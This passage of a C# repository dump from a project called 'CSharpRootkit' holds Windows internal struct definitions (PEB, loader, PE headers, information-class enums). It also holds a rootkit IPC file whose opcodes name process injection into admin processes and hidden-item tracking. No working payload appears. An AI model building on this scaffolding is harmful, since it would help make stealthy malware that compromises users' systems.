PROCESS_WORKING_SET_CONTROL 73 | ProcessHandleTable, // q: ULONG[] // since WINBLUE 74 | ProcessCheckStackExtentsMode, 75 | ProcessCommandLineInformation, // q: UNICODE_STRING // 60 76 | ProcessProtectionInformation, // q: PS_PROTECTION 77 | ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD 78 | ProcessFaultInformation, // PROCESS_FAULT_INFORMATION 79 | ProcessTelemetryIdInformation, // PROCESS_TELEMETRY_ID_INFORMATION 80 | ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION 81 | ProcessDefaultCpuSetsInformation, 82 | ProcessAllowedCpuSetsInformation, 83 | ProcessSubsystemProcess, 84 | ProcessJobMemoryInformation, // PROCESS_JOB_MEMORY_INFO 85 | ProcessInPrivate, // since THRESHOLD2 // 70 86 | ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables 87 | ProcessIumChallengeResponse, 88 | ProcessChildProcessInformation, // PROCESS_CHILD_PROCESS_INFORMATION 89 | ProcessHighGraphicsPriorityInformation, 90 | ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2 91 | ProcessEnergyValues, // PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES 92 | ProcessActivityThrottleState, // PROCESS_ACTIVITY_THROTTLE_STATE 93 | ProcessActivityThrottlePolicy, // PROCESS_ACTIVITY_THROTTLE_POLICY 94 | ProcessWin32kSyscallFilterInformation, 95 | ProcessDisableSystemAllowedCpuSets, // 80 96 | ProcessWakeInformation, // PROCESS_WAKE_INFORMATION 97 | ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE 98 | ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3 99 | ProcessCaptureTrustletLiveDump, 100 | ProcessTelemetryCoverage, 101 | ProcessEnclaveInformation, 102 | ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION 103 | ProcessUptimeInformation, // PROCESS_UPTIME_INFORMATION 104 | ProcessImageSection, // q: HANDLE 105 | ProcessDebugAuthInformation, // since REDSTONE4 // 90 106 | ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT 107 | ProcessSequenceNumber, // q: ULONGLONG 108 | ProcessLoaderDetour, // since REDSTONE5 109 | ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION 110 | ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION 111 | ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION 112 | ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION 113 | ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1 114 | ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION 115 | MaxProcessInfoClass 116 | } 117 | 118 | public enum THREADINFOCLASS : uint 119 | { 120 | ThreadBasicInformation, 121 | ThreadTimes, 122 | ThreadPriority, 123 | ThreadBasePriority, 124 | ThreadAffinityMask, 125 | ThreadImpersonationToken, 126 | ThreadDescriptorTableEntry, 127 | ThreadEnableAlignmentFaultFixup, 128 | ThreadEventPair_Reusable, 129 | ThreadQuerySetWin32StartAddress, 130 | ThreadZeroTlsCell, 131 | ThreadPerformanceCount, 132 | ThreadAmILastThread, 133 | ThreadIdealProcessor, 134 | ThreadPriorityBoost, 135 | ThreadSetTlsArrayAddress, 136 | ThreadIsIoPending, 137 | ThreadHideFromDebugger, 138 | ThreadBreakOnTermination, 139 | MaxThreadInfoClass, 140 | } 141 | 142 | 143 | public struct UINTRESULT 144 | { 145 | public uint Value; 146 | } 147 | public struct USHORTRESULT 148 | { 149 | public ushort Value; 150 | } 151 | 152 | public struct ULONGRESULT 153 | { 154 | public ulong Value; 155 | } 156 | 157 | 158 | [StructLayout(LayoutKind.Sequential)] 159 | public struct IMAGE_FILE_HEADER 160 | { 161 | public ushort Machine; 162 | public ushort NumberOfSections; 163 | public uint TimeDateStamp; 164 | public uint PointerToSymbolTable; 165 | public uint NumberOfSymbols; 166 | public ushort SizeOfOptionalHeader; 167 | public ushort Characteristics; 168 | } 169 | 170 | [StructLayout(LayoutKind.Sequential)] 171 | public struct IMAGE_DATA_DIRECTORY 172 | { 173 | public uint VirtualAddress; 174 | public uint Size; 175 | } 176 | 177 | [StructLayout(LayoutKind.Sequential)] 178 | public struct IMAGE_DOS_HEADER 179 | { 180 | public ushort e_magic; 181 | public ushort e_cblp; 182 | public ushort e_cp; 183 | public ushort e_crlc; 184 | public ushort e_cparhdr; 185 | public ushort e_minalloc; 186 | public ushort e_maxalloc; 187 | public ushort e_ss; 188 | public ushort e_sp; 189 | public ushort e_csum; 190 | public ushort e_ip; 191 | public ushort e_cs; 192 | public ushort e_lfarlc; 193 | public ushort e_ovno; 194 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] 195 | public ushort[] e_res; 196 | public ushort e_oemid; 197 | public ushort e_oeminfo; 198 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] 199 | public ushort[] e_res2; 200 | public int e_lfanew; 201 | } 202 | 203 | [StructLayout(LayoutKind.Sequential)] 204 | public struct IMAGE_EXPORT_DIRECTORY 205 | { 206 | public uint Characteristics; 207 | public uint TimeDateStamp; 208 | public ushort MajorVersion; 209 | public ushort MinorVersion; 210 | public uint Name; 211 | public uint Base; 212 | public uint NumberOfFunctions; 213 | public uint NumberOfNames; 214 | public uint AddressOfFunctions; // RVA from base of image 215 | public uint AddressOfNames; // RVA from base of image 216 | public uint AddressOfNameOrdinals; // RVA from base of image 217 | } 218 | 219 | [StructLayout(LayoutKind.Sequential)] 220 | public struct PROCESS_BASIC_INFORMATION 221 | { 222 | public int ExitStatus; 223 | public IntPtr PebBaseAddress; 224 | public UIntPtr AffinityMask; 225 | public uint BasePriority; 226 | public UIntPtr UniqueProcessId; 227 | public UIntPtr InheritedFromUniqueProcessId; 228 | } 229 | 230 | 231 | public enum FileType 232 | { 233 | FILE_TYPE_UNKNOWN = 0x0000, // The specified file type is unknown. 234 | FILE_TYPE_DISK = 0x0001, // The specified file is a disk file. 235 | FILE_TYPE_CHAR = 0x0002, // The specified file is a character file, typically an LPT device or a console. 236 | FILE_TYPE_PIPE = 0x0003, // The specified file is a socket, a named pipe, or an anonymous pipe. 237 | FILE_TYPE_REMOTE = 0x8000, // Unused. 238 | } 239 | 240 | [StructLayout(LayoutKind.Sequential)] 241 | public struct SYSTEM_INFO 242 | { 243 | public ushort processorArchitecture; 244 | public ushort reserved; 245 | public uint pageSize; 246 | public IntPtr minimumApplicationAddress; 247 | public IntPtr maximumApplicationAddress; 248 | public IntPtr activeProcessorMask; 249 | public uint numberOfProcessors; 250 | public uint processorType; 251 | public uint allocationGranularity; 252 | public ushort processorLevel; 253 | public ushort processorRevision; 254 | } 255 | 256 | [StructLayout(LayoutKind.Sequential)] 257 | public struct MEMORY_BASIC_INFORMATION 258 | { 259 | public IntPtr BaseAddress; 260 | public IntPtr AllocationBase; 261 | public uint AllocationProtect; 262 | public UIntPtr RegionSize; 263 | public uint State; 264 | public uint Protect; 265 | public uint Type; 266 | } 267 | 268 | [StructLayout(LayoutKind.Sequential)] 269 | public struct TOKEN_ELEVATION 270 | { 271 | public uint TokenIsElevated; 272 | } 273 | 274 | [StructLayout(LayoutKind.Sequential)] 275 | public struct TOKEN_MANDATORY_LABEL 276 | { 277 | public SID_AND_ATTRIBUTES Label; 278 | } 279 | 280 | [StructLayout(LayoutKind.Sequential)] 281 | public struct SID_AND_ATTRIBUTES 282 | { 283 | public IntPtr Sid; 284 | public int Attributes; 285 | } 286 | 287 | public enum TokenIntegrityLevel 288 | { 289 | Untrusted = 0, 290 | Low = 0x1000, 291 | Medium = 0x2000, 292 | MediumPlus = Medium + 0x100, 293 | High = 0x3000, 294 | System = 0x4000, 295 | ProtectedProcess = 0x5000, 296 | }; 297 | 298 | [StructLayout(LayoutKind.Sequential)] 299 | public struct CLIENT_ID 300 | { 301 | public IntPtr UniqueProcess; 302 | public IntPtr UniqueThread; 303 | } 304 | 305 | [StructLayout(LayoutKind.Sequential)] 306 | public class THREAD_BASIC_INFORMATION 307 | { 308 | public uint ExitStatus; 309 | public IntPtr TebBaseAddress; 310 | public CLIENT_ID ClientId; 311 | public UIntPtr AffinityMask; 312 | public int Priority; 313 | public int BasePriority; 314 | } 315 | 316 | } 317 | } 318 | -------------------------------------------------------------------------------- /CSharpRootkit/Structs/InternalStructs32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static CSharpRootkit.InternalStructs; 8 | 9 | namespace CSharpRootkit 10 | { 11 | public class InternalStructs32 12 | { 13 | 14 | [StructLayout(LayoutKind.Sequential)] 15 | public struct LIST_ENTRY32 16 | { 17 | public uint Flink; 18 | public uint Blink; 19 | } 20 | 21 | [StructLayout(LayoutKind.Sequential)] 22 | public struct PEB_LDR_DATA32 23 | { 24 | public uint Length; 25 | public bool Initialized; 26 | public uint SsHandle; 27 | public LIST_ENTRY32 InLoadOrderModuleList; 28 | public LIST_ENTRY32 InMemoryOrderModuleList; 29 | public LIST_ENTRY32 InInitializationOrderModuleList; 30 | public uint EntryInProgress; 31 | public bool ShutdownInProgress; 32 | public uint ShutdownThreadId; 33 | } 34 | 35 | [StructLayout(LayoutKind.Sequential)] 36 | public struct UNICODE_STRING32 37 | { 38 | public ushort Length; 39 | public ushort MaximumLength; 40 | public uint Buffer; 41 | } 42 | 43 | [StructLayout(LayoutKind.Sequential)] 44 | public struct LDR_DATA_TABLE_ENTRY32_SNAP 45 | { 46 | public LIST_ENTRY32 InLoadOrderLinks; 47 | public LIST_ENTRY32 InMemoryOrderLinks; 48 | public LIST_ENTRY32 InInitializationOrderLinks; 49 | public uint DllBase; 50 | public uint EntryPoint; 51 | public uint SizeOfImage; 52 | public UNICODE_STRING32 FullDllName; 53 | public UNICODE_STRING32 BaseDllName; 54 | } 55 | [StructLayout(LayoutKind.Sequential)] 56 | public struct IMAGE_OPTIONAL_HEADER32 57 | { 58 | public ushort Magic; 59 | public byte MajorLinkerVersion; 60 | public byte MinorLinkerVersion; 61 | public uint SizeOfCode; 62 | public uint SizeOfInitializedData; 63 | public uint SizeOfUninitializedData; 64 | public uint AddressOfEntryPoint; 65 | public uint BaseOfCode; 66 | public uint BaseOfData; 67 | 68 | public uint ImageBase; 69 | public uint SectionAlignment; 70 | public uint FileAlignment; 71 | public ushort MajorOperatingSystemVersion; 72 | public ushort MinorOperatingSystemVersion; 73 | public ushort MajorImageVersion; 74 | public ushort MinorImageVersion; 75 | public ushort MajorSubsystemVersion; 76 | public ushort MinorSubsystemVersion; 77 | public uint Win32VersionValue; 78 | public uint SizeOfImage; 79 | public uint SizeOfHeaders; 80 | public uint CheckSum; 81 | public ushort Subsystem; 82 | public ushort DllCharacteristics; 83 | public uint SizeOfStackReserve; 84 | public uint SizeOfStackCommit; 85 | public uint SizeOfHeapReserve; 86 | public uint SizeOfHeapCommit; 87 | public uint LoaderFlags; 88 | public uint NumberOfRvaAndSizes; 89 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] 90 | public IMAGE_DATA_DIRECTORY[] DataDirectory; 91 | } 92 | 93 | [StructLayout(LayoutKind.Sequential)] 94 | public struct IMAGE_NT_HEADERS32 95 | { 96 | public uint Signature; 97 | public IMAGE_FILE_HEADER FileHeader; 98 | public IMAGE_OPTIONAL_HEADER32 OptionalHeader; 99 | } 100 | 101 | 102 | public static IntPtr GetLdr32(IntPtr addr) 103 | { 104 | return addr + 0xc; 105 | } 106 | 107 | 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /CSharpRootkit/Structs/InternalStructs64.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static CSharpRootkit.InternalStructs; 8 | 9 | namespace CSharpRootkit 10 | { 11 | public class InternalStructs64 12 | { 13 | [StructLayout(LayoutKind.Sequential)] 14 | public struct PROCESS_BASIC_INFORMATION64 15 | { 16 | public int ExitStatus; 17 | public ulong PebBaseAddress; 18 | public ulong AffinityMask; 19 | public uint BasePriority; 20 | public ulong UniqueProcessId; 21 | public ulong InheritedFromUniqueProcessId; 22 | } 23 | 24 | [StructLayout(LayoutKind.Sequential)] 25 | 26 | public struct LIST_ENTRY64 27 | { 28 | public ulong Flink; 29 | public ulong Blink; 30 | } 31 | 32 | [StructLayout(LayoutKind.Sequential)] 33 | public struct PEB_LDR_DATA64 34 | { 35 | public uint Length; 36 | public bool Initialized; 37 | public ulong SsHandle; 38 | public LIST_ENTRY64 InLoadOrderModuleList; 39 | public LIST_ENTRY64 InMemoryOrderModuleList; 40 | public LIST_ENTRY64 InInitializationOrderModuleList; 41 | public ulong EntryInProgress; 42 | public bool ShutdownInProgress; 43 | public ulong ShutdownThreadId; 44 | } 45 | 46 | [StructLayout(LayoutKind.Sequential)] 47 | 48 | public struct UNICODE_STRING64 49 | { 50 | public ushort Length; 51 | public ushort MaximumLength; 52 | public ulong Buffer; 53 | } 54 | 55 | [StructLayout(LayoutKind.Sequential)] 56 | public struct STRING64 57 | { 58 | public ushort Length; 59 | public ushort MaximumLength; 60 | public ulong Buffer; 61 | } 62 | 63 | [StructLayout(LayoutKind.Sequential)] 64 | public struct LDR_DATA_TABLE_ENTRY64_SNAP 65 | { 66 | public LIST_ENTRY64 InLoadOrderLinks; 67 | public LIST_ENTRY64 InMemoryOrderLinks; 68 | public LIST_ENTRY64 InInitializationOrderLinks; 69 | public ulong DllBase; 70 | public ulong EntryPoint; 71 | public uint SizeOfImage; 72 | public UNICODE_STRING64 FullDllName; 73 | public UNICODE_STRING64 BaseDllName; 74 | } 75 | 76 | [StructLayout(LayoutKind.Sequential)] 77 | public struct IMAGE_OPTIONAL_HEADER64 78 | { 79 | public ushort Magic; 80 | public byte MajorLinkerVersion; 81 | public byte MinorLinkerVersion; 82 | public uint SizeOfCode; 83 | public uint SizeOfInitializedData; 84 | public uint SizeOfUninitializedData; 85 | public uint AddressOfEntryPoint; 86 | public uint BaseOfCode; 87 | 88 | public ulong ImageBase; 89 | public uint SectionAlignment; 90 | public uint FileAlignment; 91 | public ushort MajorOperatingSystemVersion; 92 | public ushort MinorOperatingSystemVersion; 93 | public ushort MajorImageVersion; 94 | public ushort MinorImageVersion; 95 | public ushort MajorSubsystemVersion; 96 | public ushort MinorSubsystemVersion; 97 | public uint Win32VersionValue; 98 | public uint SizeOfImage; 99 | public uint SizeOfHeaders; 100 | public uint CheckSum; 101 | public ushort Subsystem; 102 | public ushort DllCharacteristics; 103 | public ulong SizeOfStackReserve; 104 | public ulong SizeOfStackCommit; 105 | public ulong SizeOfHeapReserve; 106 | public ulong SizeOfHeapCommit; 107 | public uint LoaderFlags; 108 | public uint NumberOfRvaAndSizes; 109 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] 110 | public IMAGE_DATA_DIRECTORY[] DataDirectory; 111 | } 112 | 113 | 114 | 115 | [StructLayout(LayoutKind.Sequential)] 116 | public struct IMAGE_NT_HEADERS64 117 | { 118 | public uint Signature; 119 | public IMAGE_FILE_HEADER FileHeader; 120 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader; 121 | } 122 | 123 | 124 | [StructLayout(LayoutKind.Sequential)] 125 | public struct _RTL_DRIVE_LETTER_CURDIR 126 | { 127 | public ushort Flags; 128 | public ushort Length; 129 | public int TimeStamp; 130 | public STRING64 DosPath; 131 | }; 132 | 133 | [StructLayout(LayoutKind.Sequential)] 134 | public struct _CURDIR 135 | { 136 | public UNICODE_STRING64 DosPath; 137 | public ulong Handle; 138 | }; 139 | 140 | [StructLayout(LayoutKind.Sequential)] 141 | public struct RTL_USER_PROCESS_PARAMETERS64 142 | { 143 | public uint MaximumLength; 144 | public uint Length; 145 | public uint Flags; 146 | public uint DebugFlags; 147 | public ulong ConsoleHandle; 148 | public uint ConsoleFlags; 149 | public ulong StandardInput; 150 | public ulong StandardOutput; 151 | public ulong StandardError; 152 | public _CURDIR CurrentDirectory; 153 | public UNICODE_STRING64 DllPath; 154 | public UNICODE_STRING64 ImagePathName; 155 | public UNICODE_STRING64 CommandLine; 156 | public ulong Environment; 157 | public uint StartingX; 158 | public uint StartingY; 159 | public uint CountX; 160 | public uint CountY; 161 | public uint CountCharsX; 162 | public uint CountCharsY; 163 | public uint FillAttribute; 164 | public uint WindowFlags; 165 | public uint ShowWindowFlags; 166 | public UNICODE_STRING64 WindowTitle; 167 | public UNICODE_STRING64 DesktopInfo; 168 | public UNICODE_STRING64 ShellInfo; 169 | public UNICODE_STRING64 RuntimeData; 170 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] 171 | public _RTL_DRIVE_LETTER_CURDIR[] CurrentDirectores; 172 | public ulong EnvironmentSize; 173 | public ulong EnvironmentVersion; 174 | public ulong PackageDependencyData; 175 | public uint ProcessGroupId; 176 | public uint LoaderThreads; 177 | public UNICODE_STRING64 RedirectionDllName; 178 | public UNICODE_STRING64 HeapPartitionName; 179 | public ulong DefaultThreadpoolCpuSetMasks; 180 | public uint DefaultThreadpoolCpuSetMaskCount; 181 | public uint DefaultThreadpoolThreadMaximum; 182 | } 183 | 184 | [StructLayout(LayoutKind.Sequential)] 185 | public struct CLIENT_ID64 186 | { 187 | public ulong UniqueProcess; 188 | public ulong UniqueThread; 189 | } 190 | 191 | [StructLayout(LayoutKind.Sequential)] 192 | public class THREAD_BASIC_INFORMATION64 193 | { 194 | public uint ExitStatus; 195 | public ulong TebBaseAddress; 196 | public CLIENT_ID64 ClientId; 197 | public ulong AffinityMask; 198 | public int Priority; 199 | public int BasePriority; 200 | } 201 | 202 | 203 | public static ulong GetLdr64(ulong addr) 204 | { 205 | return addr + 0x18; 206 | } 207 | 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /CSharpRootkit/Structs/RootKitIPCStructs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace CSharpRootkit 9 | { 10 | public class RootKitIPCStructs 11 | { 12 | public enum ClientOpcodeEnum 13 | { 14 | Error, 15 | Start, 16 | Stop, 17 | SetKey, 18 | BasicInfo, 19 | InjectIntoProc 20 | } 21 | 22 | public enum ServerOpcodeEnum 23 | { 24 | Error, 25 | GetCurrentHiddenInfo, 26 | InjectAdminProcess, 27 | MimicNtResumeInjectOnAdminProcess, 28 | SetKey, 29 | InjectDone 30 | } 31 | [StructLayout(LayoutKind.Sequential)] 32 | public struct InjectProcessInfo 33 | { 34 | public int ProcessToInject; 35 | public bool TaskComplete; 36 | } 37 | 38 | [StructLayout(LayoutKind.Sequential)] 39 | public struct clientInjectProcessInfo 40 | { 41 | public int ProcessToInject; 42 | } 43 | 44 | [StructLayout(LayoutKind.Sequential)] 45 | public struct SetKey 46 | { 47 | public int ReturnKey; 48 | } 49 | 50 | [StructLayout(LayoutKind.Sequential)] 51 | public struct MemoryInfoTag 52 | { 53 | public long StartRegion; 54 | public long EndRegion; 55 | public bool HasRegion; 56 | } 57 | 58 | public struct ClientCommand 59 | { 60 | public ServerOpcodeEnum opcode; 61 | public byte[] data; 62 | public MemoryInfoTag location; 63 | } 64 | 65 | public struct ServerCommand 66 | { 67 | public ClientOpcodeEnum opcode; 68 | public byte[] data; 69 | public MemoryInfoTag location; 70 | } 71 | 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /CSharpRootkit/Structs/RootKitInternalStructs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.CompilerServices; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace CSharpRootkit.Structs 10 | { 11 | public static class RootKitInternalStructs 12 | { 13 | public enum SYSTEM_INFORMATION_CLASS : uint 14 | { 15 | SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION 16 | SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION 17 | SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION 18 | SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION 19 | SystemPathInformation, // not implemented 20 | SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION 21 | SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION 22 | SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION 23 | SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup) 24 | SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION 25 | SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 26 | SystemModuleInformation, // q: RTL_PROCESS_MODULES 27 | SystemLocksInformation, // q: RTL_PROCESS_LOCKS 28 | SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES 29 | SystemPagedPoolInformation, // not implemented 30 | SystemNonPagedPoolInformation, // not implemented 31 | SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION 32 | SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION 33 | SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION 34 | SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO 35 | SystemVdmBopInformation, // not implemented // 20 36 | SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) 37 | SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION 38 | SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup) 39 | SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) 40 | SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION 41 | SystemLoadGdiDriverInformation, // s (kernel-mode only) 42 | SystemUnloadGdiDriverInformation, // s (kernel-mode only) 43 | SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) 44 | SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION 45 | SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 46 | SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) 47 | SystemObsolete0, // not implemented 48 | SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION 49 | SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege) 50 | SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION 51 | SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION 52 | SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) 53 | SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only 54 | SystemPrioritySeperation, // s (requires SeTcbPrivilege) 55 | SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 56 | SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) 57 | SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup) 58 | SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION 59 | SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION 60 | SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION 61 | SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege) 62 | SystemSessionCreate, // not implemented 63 | SystemSessionDetach, // not implemented 64 | SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) 65 | SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 66 | SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) 67 | SystemVerifierThunkExtend, // s (kernel-mode only) 68 | SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION 69 | SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation) 70 | SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION 71 | SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation 72 | SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION 73 | SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment 74 | SystemComPlusPackage, // q; s: ULONG 75 | SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60 76 | SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup) 77 | SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION 78 | SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION 79 | SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX 80 | SystemLostDelayedWriteInformation, // q: ULONG 81 | SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION 82 | SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION 83 | SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION 84 | SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION 85 | SystemObjectSecurityMode, // q: ULONG // 70 86 | SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only) 87 | SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only) 88 | SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup) 89 | SystemWow64SharedInformationObsolete, // not implemented 90 | SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only) 91 | SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION 92 | SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX 93 | SystemVerifierTriageInformation, // not implemented 94 | SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation 95 | SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 96 | SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) 97 | SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) 98 | SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup) 99 | SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation 100 | SystemProcessorPowerInformationEx, // not implemented 101 | SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation 102 | SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 103 | SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION 104 | SystemErrorPortInformation, // s (requires SeTcbPrivilege) 105 | SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 106 | SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION 107 | SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX 108 | SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege) 109 | SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) 110 | SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege) 111 | SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION 112 | SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege) 113 | SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION 114 | 